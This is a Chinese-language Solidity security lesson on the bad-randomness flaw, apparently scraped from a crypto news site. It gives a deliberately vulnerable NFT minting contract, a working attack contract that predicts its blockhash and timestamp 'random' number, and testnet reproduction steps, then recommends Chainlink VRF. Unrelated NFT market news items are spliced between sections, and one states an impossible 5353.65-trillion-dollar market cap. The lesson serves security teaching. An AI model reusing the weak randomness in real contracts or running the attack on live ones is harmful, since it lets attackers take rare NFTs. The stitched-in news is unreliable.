WTF Solidity 合約安全: S07. 壞隨機數

我最近在重新學solidity，鞏固一下細節，也寫一個“WTF Solidity極簡入門”，供小白們使用（編程大佬可以另找教程），每周更新1-3講。

這一講，我們將介紹智能合約的壞隨機數（Bad Randomness）漏洞和預防方法，這個漏洞經常在 NFT 和 GameFi 中出現，包括 Meebits，Loots，Wolf Game等。

很多以太坊上的應用都需要用到隨機數，例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明（public）且確定性（deterministic）的，它沒有其他編程語言一樣給開發者提供生成隨機數的方法，例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法，例如 blockhash() 和 keccak256() 方法。

壞隨機數漏洞：攻擊者可以事先計算這些偽隨機數的結果，從而達到他們想要的目的，例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講：偽隨機數。

Web3開源大學WTF Academy獲得Starkware資助，將合作開發ZK和Cairo開源教程:11月5日，據官方消息，Web3開源大學WTF Academy獲得以太坊二層擴容方案Starkware的資助，將合作開發ZK和Cairo的中英文開源教程，為以太坊和Layer2培養更多開發者。據介紹，WTF Academy是一個Web3開源學院，提供免費開源Web3技術教程，目前WTF Solidity極簡教程已經更新50講。據此前消息，WTF Academy發布習題測試和鏈上技能認證模塊，并已開啟公測。[2022/11/5 12:19:54]

下面我們學習一個有壞隨機數漏洞的 NFT 合約： BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 構造函數，初始化NFT合集的名稱、代號    constructor() ERC721("", ""){}    // 鑄造函數：當輸入的 luckyNumber 等于隨機數時才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一個主要的鑄造函數 luckyMint()，用戶調用時輸入一個 0-99 的數字，如果和鏈上生成的偽隨機數 randomNumber 相等，即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。

goblintown.wtf系列NFT24小時交易額為151.15萬美元:金色財經消息，據NFTGo.io數據顯示，goblintown.wtf系列NFT總市值達5353.65萬億美元，在所有NFT項目總市值排名中位列第42；其24小時交易額為151.15萬美元，增幅達22.03%。截止發稿時，該系列NFT當前地板價為2.95，跌幅達33.11%ETH。[2022/6/15 4:28:57]

下面我們寫個攻擊合約 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前計算隨機數        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻擊        nftAddr.luckyMint(luckyNumber);    }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中，我們計算了隨機數 luckyNumber，然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用，blockhash和block.timestamp是相同的，利用他們生成的隨機數也相同。

goblintown.wtf系列NFT24小時交易額為102.41萬美元:金色財經消息，據NFTGo.io數據顯示，goblintown.wtf系列NFT總市值達6238萬美元，在所有NFT項目總市值排名中位列第39；其24小時交易額為102.41萬美元，跌幅達9.35%。截止發稿時，該系列NFT當前地板價為3.15ETH，跌幅為26.01%。[2022/6/12 4:19:11]

由于 Remix 自帶的 Remix VM不支持 blockhash函數，因此你需要將合約部署到以太坊測試鏈上進行復現。

部署 BadRandomness 合約。

部署 Attack 合約。

將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用，完成攻擊。

調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額，確認攻擊成功。

goblintown.wtf NFT系列地板價突破8ETH，24小時交易額排名達到第一:金色財經消息，據OpenSea數據顯示，goblintown.wtf NFT系列地板價突破8ETH，目前為8.2ETH，24小時的交易額為4997.18ETH，24小時交易額在OpenSea排名達到第一。[2022/6/2 3:58:03]

我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞，例如 Chainlink VRF。這類隨機數從鏈下生成，然后上傳到鏈上，從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講：偽隨機數。

這一講我們介紹了壞隨機數漏洞，并介紹了一個簡單的預防方法：使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎，以防被黑客利用。

推特：@0xAA_Science｜@WTFAcademy_

社區：Discord｜微信群｜官網 wtf.academy

fees.wtf回應低流動性：團隊正在逐步增加流動性以防止機器人搶跑:1月14日消息，Gas 使用統計查詢網站 fees.wtf 在 Discord 社群中回應關于流動性不足的問題，并表示其在發布前提到將在發布不久之后添加流動性，但并未說明具體數量。是因為團隊不希望機器人搶先運行，并提走全部原有流動性。因此導致市場上發生了一場機器人對機器人的斗爭：

由于初始發布時的流動性很低，有機器人將 100 ETH 投入一個僅有 1 到 2 個 ETH 的流動性池中。設置很高的滑點，最終被其他機器人耗盡了全部的 ETH，是一個高滑點、低流動性的案例。

fees.wtf 團隊希望用戶沒有受到影響，一起仍按原計劃進行，團隊正在增加流動性。[2022/1/14 8:48:44]

所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity

來源：bress

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